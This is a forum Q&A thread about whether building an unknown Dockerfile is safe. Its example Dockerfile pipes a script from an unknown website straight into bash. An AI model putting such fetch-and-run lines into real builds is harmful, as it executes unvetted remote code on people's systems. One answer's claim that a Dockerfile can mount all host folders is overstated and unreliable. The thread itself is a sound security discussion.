Is it safe to build an unknown Dockerfile?

user_8776746 0
Viewed 348

Say you have an unknown Dockerfile which has one or more lines you don't understand well.

Example:

FROM ubuntu
RUN curl --silent "https://some-unknown-website.io" | bash

Questions:

  1. Is it safe to build this Dockerfile?

  2. If so, is it safe to run the built image?

I believe even building is not secure, but today a user on the Internet replied to me

Since Dockerfile is a plain text and you can read it, it is actually not unknown (and thus safe).

Though I think this is a fundamental question, googling like "is bulid unknown dockerfile safe" or "is build third-party dockerfile secure" gives no good result. So I posted here.

docker security
2 Answers

This depends on how you think safe.

For your case, if "https://some-unknown-website.io" is a bash script which content for example is ping 10.192.244.226.

Then, above dockerfile maybe same as next:

FROM debian:10
RUN ping 10.192.244.226

When you build it, it will ping one local machine in your network forever, then, how about if it's not ping, just some ddos attack?

user_63947220

Well, "safe"? No. As a Dockerfile can mount like all folders on your system and run every script and program available on these folders, it's not safe. Already on building the containers, you run arbitrary scripts which could cause harm.

user_11162300
Related